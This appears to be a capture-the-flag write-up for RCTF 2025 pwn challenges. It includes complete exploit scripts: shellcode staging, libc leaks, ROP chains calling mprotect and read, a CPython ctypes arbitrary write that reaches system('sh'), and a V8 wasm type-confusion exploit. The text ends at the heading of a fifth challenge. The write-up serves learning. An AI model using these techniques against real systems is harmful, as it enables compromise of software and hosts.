2025 RCTF

only (71 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
while ( 1 )
{
menu();
__isoc23_scanf("%d", &choice);
if ( choice == 3 )
_exit(0); // command exit
if ( choice > 3 )
{
puts("Invalid choice");
} else if ( choice == 1 ) {
command_notes("%d");
} else {
bof("%d");
}
}
}

There are two menus in the binary: one to manage notes and one to trigger a stack buffer overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void bof(const char *a1)
{
int index; // [rsp+4h] [rbp-11Ch]
double sum; // [rsp+8h] [rbp-118h]
double values[33]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("input:");
sum = 0.0;
for ( index = 0; index <= 35; ++index )
{
__isoc23_scanf("%lf", &values[index]); // bof
if ( values[index] == 0.0 )
break;
if ( *(_QWORD *)&values[index] == 0xD0E0A0D0B0E0E0FLL )
gift();
sum = values[index] + sum;
}
printf("sum: %lf\n", sum);
}

The bof function reads up to 36 double values from stdin and stores them on the stack.
When the value, reinterpreted as a QWORD, equals 0xD0E0A0D0B0E0E0F, it calls the gift function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void gift()
{
// ...

canary = __readfsqword(0x28u);
if ( used_help )
{
puts("You've got help");
}
else
{
used_help = 1;
puts("maybe you need some help...");
for ( i = 0; i <= 5; ++i )
{
putchar(46);
usleep(200000u); // 200ms?
}
printf("\n1.run your code\n2.get a gift\nMake a choice:");
__isoc23_scanf("%d", &choice);
if ( choice == 1 )
{
addr = mmap(0, 0x1000u, 7, 34, -1, 0);
if ( addr == (void *)-1LL )
{
perror("mmap failed");
}
else
{
v0 = addr;
*(_QWORD *)addr = 0x3148DB3148C03148LL;
v0[1] = 0x48FF3148D23148C9LL;
v0[2] = 0xC9314DC0314DF631LL;
v0[3] = 0x314DDB314DD2314DLL;
*(_QWORD *)((char *)v0 + 26) = 0x4DE4314DDB314DD2LL;
*(_QWORD *)((char *)v0 + 34) = 0xFF314DF6314DED31LL;
printf("your code:");
read(0, (char *)addr + 0x2A, 0xAu);
((void (*)(void))addr)();
munmap(addr, 0x1000u);
puts("run success");
}
}
else if ( choice == 2 )
{
v3 = &savedregs;
v4 = canary;
printf("your gift: %lx\n", canary);
}
}
}

In gift, we can either:

  1. Print the stack canary to stdout, or
  2. Execute user-supplied shellcode after a small stub that clobbers several registers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
* thread #1, name = 'chal', stop reason = breakpoint 1.1
frame #0: 0x00007a09d8cf302a
-> 0x7a09d8cf302a: pop rbx
0x7a09d8cf302b: pop rbx
0x7a09d8cf302c: pop rdx
0x7a09d8cf302d: pop rbx
0x7a09d8cf302e: pop rbx
0x7a09d8cf302f: pop rsi
0x7a09d8cf3030: syscall
0x7a09d8cf3032: add byte ptr [rax], al
(lldb) x/20gx $rsp
0x7ffe90736438: 0x0000628f237ada42 0x0000000000000000
0x7ffe90736448: 0x0000000600000001 0x0000000000000001
0x7ffe90736458: 0x0000000000000000 0x00007a09d8cf3000
0x7ffe90736468: 0xdc93241411d9e800 0x00007ffe907365a0
0x7ffe90736478: 0x0000628f237adc47 0x0000000a00000000
0x7ffe90736488: 0x4025ffffffffffff 0x3ff199999999999a
0x7ffe90736498: 0x3ff199999999999a 0x3ff199999999999a
0x7ffe907364a8: 0x3ff199999999999a 0x3ff199999999999a
0x7ffe907364b8: 0x3ff199999999999a 0x3ff199999999999a
0x7ffe907364c8: 0x3ff199999999999a 0x3ff199999999999a
(lldb) reg read rax
rax = 0x0000000000000000

The address of the shellcode region is on the stack.
We can pop it into rsi and set a large value in rdx.
Since the stub has already set rax to 0, we can turn this into a read syscall
and load a longer second-stage shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.arch = 'amd64'
p = remote('101.245.98.115', 26100)

payload = b'a'*0x120
p.sendlineafter('3.exit', str(2))

for i in range(10):
p.sendline('1.1')

p.sendline(str(struct.unpack('d', struct.pack('Q', 0xD0E0A0D0B0E0E0F))[0]))
p.sendlineafter('choice:', str(1))

payload = asm('''
pop rbx
pop rbx
pop rdx
pop rbx
pop rbx
pop rsi
syscall
''')
print(hex(len(payload)))
assert len(payload) <= 0xa
p.sendafter(':', payload)

payload = b'a'*0x32
payload += asm(
shellcraft.open('/flag')
+ shellcraft.read(3, 'rsp', 0x40)
+ shellcraft.write(1, 'rsp', 0x40)
)

p.send(payload)
p.interactive()

only_rev (27 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 gift()
{
// ...
v0 = addr;
*(_QWORD *)addr = 0x3148DB3148C03148LL;
v0[1] = 0x48FF3148D23148C9LL;
v0[2] = 0xC9314DC0314DF631LL;
v0[3] = 0x314DDB314DD2314DLL;
v0[4] = 0x4DF6314DED314DE4LL;
v0[5] = 0x345678C48148FF31LL;
v0[6] = 0x12345678C5814812LL;
printf("your code:");
v5 = read(0, (char *)addr + 0x38, 9u);
v1 = (char *)addr + v5 + 0x38;
*v1 = 0x4812345678EC8148LL;
*(_QWORD *)((char *)v1 + 7) = 0xC312345678ED8148LL;
((void (*)(void))addr)();
munmap(addr, 0x1000u);
puts("run success");
}
}
else if ( choice == 2 )
{
v6 = &savedregs;
v7 = canary;
printf("your gift: %lx\n", canary);
}
}
return canary - __readfsqword(0x28u);
}

only_rev is very similar to only challenge,
But it comes with a small modification in the gift function.

In this challenge, the shellcode length is restricted to 9 bytes (2 bytes shorter),
and the stub zeroes more registers. With only 9 bytes, what you can
do is very limited, so the previous approach no longer works.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall note_menu(const char *a1)
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
while ( 1 )
{
note_menu(a1);
a1 = "%d";
__isoc23_scanf("%d", &choice);
switch ( choice )
{
case 1:
create_note();
break;
case 2:
delete_note();
break;
case 3:
save_note(); // -> /dev/stdout
break;
case 4:
edit_note();
break;
case 5:
return v3 - __readfsqword(0x28u);
default:
a1 = "Invalid choice";
puts("Invalid choice");
break;
}
}
}

So I switched to the note menu to try to leak a libc address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void create_note()
{
if ( (unsigned __int64)num_alloc <= 0x18 )
{
printf("size:");
__isoc23_scanf("%lu", &n);
if ( n <= 0x1000 )
{
buf = malloc(n);
if ( buf )
{
++num_alloc;
puts("create success");
}
else
{
perror("malloc failed");
}
}
else
{
puts("size too large");
}
}
else
{
puts("too many!!");
}
}

Normally, if you can allocate a large chunk and free it, and later reclaim it without overwriting its contents, leaking a libc address is easy.
However, in this challenge you’re not allowed to hold references to more than one note at the same time. So you can’t do the classic pattern of:

  1. Allocate a big chunk
  2. Allocate a guard chunk
  3. Free the first one

If you only allocate a big chunk and free it, no libc address is stored in it because it’s just merged into the top chunk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 save_note()
{
int fd; // [rsp+Ch] [rbp-64h]
char filename[16]; // [rsp+10h] [rbp-60h] BYREF
char buffer[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( !buf )
printf("no content needs to be saved!");
printf("filename: ");
filename[(int)read(0, filename, 12u)] = 0;
fd = open(filename, 66, 420);
if ( fd == -1 )
{
snprintf(buffer, 0x40u, "failed to open %s\n", filename);
perror(buffer);
}
else
{
write(fd, buf, n);
snprintf(buffer, 0x40u, "write content[%s] to %s success", (const char *)buf, filename);
puts(buffer);
close(fd);
}
return v4 - __readfsqword(0x28u);
}

You can work around this using save_note.
If you call save_note with an invalid file path, it allocates a 0x1e0 sized chunk and frees it.
As with this size, the freed chunks goes into tcache,
it doesn’t get merged into the top chunk.
We can use that as a guard chunk.

1
2
3
4
5
alloc(0x1000) # allocate 0x1000 sized chunk
p.sendlineafter('5.back', '3')
p.sendafter(':', '/a/b/c/d/e/f') # invalid path -> a guard chunk is allocated
delete() # the note pointer will be freed and a libc address will be written in the offset 0
alloc(0x1000) # reclaim the chunk, the libc address will still be at the offset 0

So the idea to leak the libc address is like above.

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 save_note()
{
// ...
else
{
write(fd, buf, n);
snprintf(buffer, 0x40u, "write content[%s] to %s success", (const char *)buf, filename);
puts(buffer);
close(fd);
}
return v4 - __readfsqword(0x28u);
}

If you give a valid path like "0" to save_note, it will call snprintf
with the chunk pointer and then printf with the chunk pointer.
That prints the chunk contents until the null byte, which allows you leak a libc address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.arch = 'amd64'

p = remote('1.95.164.64', 26001)
libc = ELF('./x86_64-linux-gnu/libc.so.6')
p.sendlineafter('3.exit', str(1))

def alloc(size):
p.sendlineafter('5.back', '1') # create
p.sendlineafter(':', str(size)) # size

def delete():
p.sendlineafter('5.back', '2') # delete

alloc(0x1000)
p.sendlineafter('5.back', '3')
p.sendafter(':', '/a/b/c/d/e/f')
delete()
alloc(0x1000)
p.sendlineafter('5.back', '3')
p.sendafter(':', '0')
p.recvuntil('[')
libc_leak = u64(p.recv(6).ljust(8, b'\0'))
print(hex(libc_leak))
libc_base = libc_leak - 0x203b20
print(hex(libc_base))

p.sendlineafter('5.back', '5')
assembly = asm('''
add rsp, 0x58
''')
print(hex(len(assembly)))
assert len(assembly) <= 0x9

pop_rdi = libc_base + 0x000000000010f78b
system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search('sh\0'))
bss = libc_base + 0x205000
mprotect = libc_base + libc.sym.mprotect
gets = libc_base + libc.sym.gets

pop_rsi = libc_base + 0x0000000000110a7d
set_rdx = libc_base + 0x00000000000b0133 # 0x00000000000b0133: mov rdx, rbx; pop rbx; pop r12; pop rbp; ret;
pop_rbx = libc_base + 0x00000000000586e4
set_rdi_0 = libc_base + 0x000000000004b3bf # 0x000000000004b3bf: xor rdi, 0x3f; lea eax, [rdi + 1]; ret;
set_rax_0 = libc_base + 0x0000000000045c30 # 0x0000000000045c30: xor eax, eax; ret;
magic = libc_base + 0x000000000005f036 # 0x000000000005f036: mov rdi, rax; cmp rdx, rcx; jae 0x5f020; mov rax, rsi; ret;

p.sendlineafter('3.exit', str(2))

def send_as_double(v):
data = str(struct.unpack('d', struct.pack('Q', v))[0])
if data == '0.0': # sending 0 will break the loop
data = '1.1';
p.sendline(data)

send_as_double(pop_rbx)
send_as_double(7)
send_as_double(set_rdx)
send_as_double(0)
send_as_double(0)
send_as_double(0)
send_as_double(pop_rsi)
send_as_double(0x4000)
send_as_double(pop_rdi)
send_as_double(bss)
send_as_double(mprotect)

send_as_double(pop_rbx)
send_as_double(0x1000)
send_as_double(set_rdx)
send_as_double(0)
send_as_double(0)
send_as_double(0)
send_as_double(magic)
send_as_double(pop_rsi)
send_as_double(bss)
send_as_double(libc_base + libc.sym.read)
send_as_double(bss)

p.sendline(str(struct.unpack('d', struct.pack('Q', 0xD0E0A0D0B0E0E0F))[0]))
p.sendlineafter('choice:', str(1))
p.sendafter(':', assembly)

payload = asm(
shellcraft.open('flag')
+ shellcraft.read(3, 'rsp', 0x40)
+ shellcraft.write(1, 'rsp', 0x40)
)
p.send(payload)
p.interactive()

Once we have a libc leak, we can use the gift function again. By running add rsp, 0x58 instruction,
we pivot rsp to just before the first element of
the double array we filled earlier. That lets us treat the double array as a
rop chain and call mprotect + read to run arbitrary shellcode.

mstr (7 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import ctypes

from typing import Union, List, Dict

STRPTR_OFFSET = 0x28
LENPTR_OFFSET = 0x10

# ...

mstrings:List[MutableStr] = []

def main():
while True:
try:
cmd, data, *values = input("> ").split()
if cmd == "new":
# ...
if cmd == "set_max":
# ...
if cmd == "+":
# ...
if cmd == "+=":
# ...
if cmd == "print_max":
# ...
if cmd == "print":
# ...
if cmd == "modify":
# ...
except EOFError:
break
except Exception as e:
print(f"error: {e}")

mstr is a Python ctypes challenge.
It uses ctypes.cast to manipulate internal Python string structures directly,
accessing the character buffer and length fields via low-level api functions.

1
2
3
4
5
0x7bff9a84a1c0: 0x0000000000000002 0x0000000000a472c0
0x7bff9a84a1d0: 0x0000000000000007 0xffffffffffffffff
0x7bff9a84a1e0: 0x00007bff9a9ff864 0x0041414141414141
0x7bff9a84a1f0: 0x0000000000000000 0x0000000000000000
0x7bff9a84a200: 0x0000000000000000 0x0000000000a42c40

The field offsets used in the challenge are basically correct.
For 8-bit compact strings in cpython 3.12, the relevant fields are indeed at offsets 0x10 and 0x28.
It isn’t for 16 bits and 32 bits strings but it’s not the point of this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
Python 3.12.3 (main, Aug 14 2025, 17:47:21) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> id
<built-in function id>
>>> id('0')
11821592
>>> Process 17313 stopped
(lldb) x/20gx 11821592
0x00b46218: 0x00000000ffffffff 0x0000000000a472c0
0x00b46228: 0x0000000000000001 0x5c6d4aff5df9fe77
0x00b46238: 0x00000000000000e7 0x0000000000000030
(lldb) mem reg 0x00b46218
[0x0000000000a29000-0x0000000000ba7000) rw- /usr/bin/python3.12

The main issue of this challenge is that the one chararacter strings like 0
are meant to be a read-only global value in cpython.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class MutableStr:
def _add_str(self, other):
if self.max_size_str == "":
max_size = (len(self)+7) & ~7
else:
max_size = int(self.max_size_str)
if len(self)+len(other) <= max_size:
other_len = len(other)
strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
for i in range(other_len):
strptr[i+len(self)] = otherstrptr[i]
if len(self)+other_len < max_size:
# strptr[len(self)+other_len] = 0
pass
ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))[0] += other_len
else:
print("Full!")
return self

# ...

if cmd == "+=":
idx1 = int(data)
idx2 = int(values[0])
if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
print("invalid index")
continue
mstrings[idx1] += mstrings[idx2]

If you set max_size_str of a MutableStr to a one-character string like
'9' and then append more characters so that the resulting string (when passed
to int()) becomes a larger number, you get an out-of-bounds write:

  • max_size is computed as int(self.max_size_str) after you’ve already grown that Python string.
  • The underlying allocation for the character buffer is still based on the original size.
  • MutableStr._add_str trusts max_size and happily writes past the end of the actual buffer.

With this, you can corrupt the length field of an adjacent string in python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class MutableStr:
def __setitem__(self, key:int, value:int):
if not isinstance(value, int):
raise NotImplementedError("only support integer value")

if not isinstance(key, int):
raise NotImplementedError("only support integer key")

if key >= len(self) or key < 0:
raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}")

strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
strptr[key] = value

# ...

if cmd == "modify":
idx = int(data)
offset = int(values[0])
val = values[1]

if idx >= len(mstrings) or idx < 0:
print("invalid index")
continue
mstrings[idx][offset] = int(val)

Once you’ve created a string whose length field is huge,
you can use modify command with arbitrary indices.
That gives you an arbitrary write primitive.

With this, you can crate a fake vtable in a writable section
And make an accessible string to have that vtable pointer.
Then when you prints that string, rip becomes a value in the fake vtable and
rdi becomes that string used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

# context.log_level = 'debug'
p = remote('1.95.190.154', 26002)

index = 0
def add(ia, ib):
global index
p.sendlineafter('> ', f'+ {ia} {ib}')
res = index
index += 1
return res

def iadd(ia, ib):
p.sendlineafter('> ', f'+= {ia} {ib}')

def alloc(content):
global index
p.sendlineafter('> ', b'new ' + content)
# print(hex(int(p.recvline(), 16)))
res = index
index += 1
return res

def modify(index, offset, value):
p.sendlineafter('> ', f'modify {index} {offset} {value}')

def show(index):
p.sendlineafter('> ', f'print {index}')

def set_max(index, value):
p.sendlineafter('> ', f'set_max {value} {index}')

print('=== target ===')
oob_index = alloc(b'a')
print(f'oob_index: {oob_index}')
digit_index = alloc(b'7')
print(f'digit_index: {digit_index}')

set_max(oob_index, 7)
iadd(digit_index, digit_index)
iadd(digit_index, digit_index)

payload = b'a'*(7+0x18)
data_index = alloc(payload)
iadd(oob_index, data_index)

b_index = alloc(b'b')
modify(b_index, 0x18, 0xff)

c_index = alloc(b'c')
show(c_index)
p.recv(16)
pie_leak = u64(p.recv(8))
print(hex(pie_leak))
pie_base = pie_leak - 0x0000000000584fa0
print(hex(pie_base))
bss = pie_base + 0x6d6000
write_base = pie_base + 0x675a90
p_c_vtable = write_base + 0x10

modify(b_index, 8, ord('s')-2)
modify(b_index, 9, ord('h'))
modify(b_index, 10, 0)

def write64(ptr, value):
offset = ptr - write_base
payload = p64(value)
for i in range(len(payload)):
print(hex(payload[i]))
modify(b_index, offset + i, payload[i])

fake_vtable = bss
system = pie_base + 0xFF4A0
write64(p_c_vtable, fake_vtable)
write64(fake_vtable + 0x88, system)
show(4)

p.interactive()

In the final exploit, I overwrite the vtable so that a call ends up jumping to system, and I place "sh\0" at the beginning of the string, giving me a shell.

no_check_WASM (5 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.h
index b65ba5b9675..163fc536138 100644
--- a/src/wasm/function-body-decoder-impl.h
+++ b/src/wasm/function-body-decoder-impl.h
@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> {
// if the current code is reachable even if it is spec-only reachable.
if (V8_LIKELY(decoding_mode == kConstantExpression ||
!control_.back().unreachable())) {
- if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
- this->DecodeError("expected %u elements on the stack for %s, found %u",
- arity, merge_description, actual);
- return false;
- }
- // Typecheck the topmost {merge->arity} values on the stack.
- Value* stack_values = stack_.end() - arity;
- for (uint32_t i = 0; i < arity; ++i) {
- Value& val = stack_values[i];
- Value& old = (*merge)[i];
- if (!IsSubtypeOf(val.type, old.type, this->module_)) {
- this->DecodeError("type error in %s[%u] (expected %s, got %s)",
- merge_description, i, old.type.name().c_str(),
- val.type.name().c_str());
- return false;
- }
- if constexpr (static_cast<bool>(rewrite_types)) {
- // Upcast type on the stack to the target type of the label.
- val.type = old.type;
- }
- }
+ // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
+ // this->DecodeError("expected %u elements on the stack for %s, found %u",
+ // arity, merge_description, actual);
+ // return false;
+ // }
+ // // Typecheck the topmost {merge->arity} values on the stack.
+ // Value* stack_values = stack_.end() - arity;
+ // for (uint32_t i = 0; i < arity; ++i) {
+ // Value& val = stack_values[i];
+ // Value& old = (*merge)[i];
+ // if (!IsSubtypeOf(val.type, old.type, this->module_)) {
+ // this->DecodeError("type error in %s[%u] (expected %s, got %s)",
+ // merge_description, i, old.type.name().c_str(),
+ // val.type.name().c_str());
+ // return false;
+ // }
+ // if constexpr (static_cast<bool>(rewrite_types)) {
+ // // Upcast type on the stack to the target type of the label.
+ // val.type = old.type;
+ // }
+ // }
return true;
}
// Unreachable code validation starts here.

This challenge is about v8 wasm with a missing validation for the return value type.

1
2
3
4
5
6
7
8
9
;; fakeobj
(func $fakeobj (export "fakeobj") (param i64) (result (ref null 0))
local.get 0
)

;; addrof
(func $addrof (export "addrof") (param anyref) (result i64)
local.get 0
)

Although the bug directly gives you a fakeobj/addrof primitives,
That was not enough because of v8 heap sandbox.
As I believed that this challenge is not meant to find v8 heap sandbox escape 0 day exploit,
I started to look for other way to utilize the given bug.

1
2
3
4
5
6
7
(func $stack_leak (export "stack_leak") (result i64 i64))

;; pie leak
(func $pie_leak_inner (result v128 v128))
(func $pie_leak (export "pie_leak") (result i64 i64 i64 i64)
call $pie_leak_inner
)

After playing with different function signatures,
I was able to find ways to leak pie and stack addresses.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
(func $array_set (export "array_set")
(param $array i64)
(param $index i32)
(param $value i64)

local.get $array
call $fakeobj
local.get $index
local.get $value
array.set $IntArray
)

(func (export "pwn")
(param $write_base i64)
(param $pie_base i64)

(local $i i32)
i32.const 0x2f0
local.set $i

local.get $write_base
i32.const 0
i64.const 0x4141414141414141
call $array_set

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x000000000074529d ;; pop_rdi
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x0000000001e4a000 ;; d8.bss
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x000000000084972a ;; pop_rsi
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
i64.const 0x4000 ;; 0x4000
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x00000000005b2362 ;; pop_rdx
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
i64.const 7 ;; 7
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x1DB23E0 ;; mprotect
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x000000000074529d ;; pop_rdi
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
i64.const 0 ;; 0
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x000000000084972a ;; pop_rsi
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x0000000001e4a000 ;; d8.bss
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x00000000005b2362 ;; pop_rdx
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
i64.const 0x1000 ;; 7
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x1DB1D40 ;; read
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i

local.get $write_base
local.get $i
local.get $pie_base
i64.const 0x0000000001e4a000 ;; d8.bss
i64.add
call $array_set
local.get $i
i32.const 1
i32.add
local.set $i
)

Then by fasking a stack pointer into a wasm array which has a big length.
I was able to overwrite the values in the stack with a rop chain.
Eventually I called mprotect and read function then jump to the address,
so I can run an arbitrary shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};

const wasm = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 43, 8, 94, 126, 1, 96, 1, 126, 1, 99, 0, 96, 1, 110, 1, 126, 96, 0, 2, 126, 126, 96, 0, 2, 123, 123, 96, 0, 4, 126, 126, 126, 126, 96, 3, 126, 127, 126, 0, 96, 2, 126, 126, 0, 3, 8, 7, 1, 2, 3, 4, 5, 6, 7, 7, 62, 6, 7, 102, 97, 107, 101, 111, 98, 106, 0, 0, 6, 97, 100, 100, 114, 111, 102, 0, 1, 10, 115, 116, 97, 99, 107, 95, 108, 101, 97, 107, 0, 2, 8, 112, 105, 101, 95, 108, 101, 97, 107, 0, 4, 9, 97, 114, 114, 97, 121, 95, 115, 101, 116, 0, 5, 3, 112, 119, 110, 0, 6, 10, 230, 2, 7, 4, 0, 32, 0, 11, 4, 0, 32, 0, 11, 2, 0, 11, 2, 0, 11, 4, 0, 16, 3, 11, 13, 0, 32, 0, 16, 0, 32, 1, 32, 2, 251, 14, 0, 11, 192, 2, 1, 1, 127, 65, 240, 5, 33, 2, 32, 0, 65, 0, 66, 193, 130, 133, 138, 148, 168, 208, 160, 193, 0, 16, 5, 32, 0, 32, 2, 32, 1, 66, 157, 165, 209, 3, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 128, 192, 146, 15, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 170, 174, 146, 4, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 66, 128, 128, 1, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 226, 198, 236, 2, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 66, 7, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 224, 199, 236, 14, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 157, 165, 209, 3, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 66, 0, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 170, 174, 146, 4, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 128, 192, 146, 15, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 226, 198, 236, 2, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 66, 128, 32, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 192, 186, 236, 14, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 32, 0, 32, 2, 32, 1, 66, 128, 192, 146, 15, 124, 16, 5, 32, 2, 65, 1, 106, 33, 2, 11, 0, 140, 1, 4, 110, 97, 109, 101, 1, 67, 6, 0, 7, 102, 97, 107, 101, 111, 98, 106, 1, 6, 97, 100, 100, 114, 111, 102, 2, 10, 115, 116, 97, 99, 107, 95, 108, 101, 97, 107, 3, 14, 112, 105, 101, 95, 108, 101, 97, 107, 95, 105, 110, 110, 101, 114, 4, 8, 112, 105, 101, 95, 108, 101, 97, 107, 5, 9, 97, 114, 114, 97, 121, 95, 115, 101, 116, 2, 51, 2, 5, 3, 0, 5, 97, 114, 114, 97, 121, 1, 5, 105, 110, 100, 101, 120, 2, 5, 118, 97, 108, 117, 101, 6, 3, 0, 10, 119, 114, 105, 116, 101, 95, 98, 97, 115, 101, 1, 8, 112, 105, 101, 95, 98, 97, 115, 101, 2, 1, 105, 4, 11, 1, 0, 8, 73, 110, 116, 65, 114, 114, 97, 121]);

const module = new WebAssembly.Module(wasm);
const instance = new WebAssembly.Instance(module);

let stack_leak = instance.exports.stack_leak();
stack_leak = (stack_leak[0] << 32n) + stack_leak[1];
console.log(stack_leak.hex());
let stack_target = stack_leak - 0x1000n + 0x20n - 3n;
console.log((stack_target - 5n).hex());

leaks = instance.exports.pie_leak();
pie_leak = leaks[2];
console.log(`pie_leak: ${pie_leak.hex()}`);
pie_base = pie_leak - 0x000000000191f2a4n;
console.log(`pie_base: ${pie_base.hex()}`);

instance.exports.pwn(stack_target, pie_base);

This is the full solution.

rd (5 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
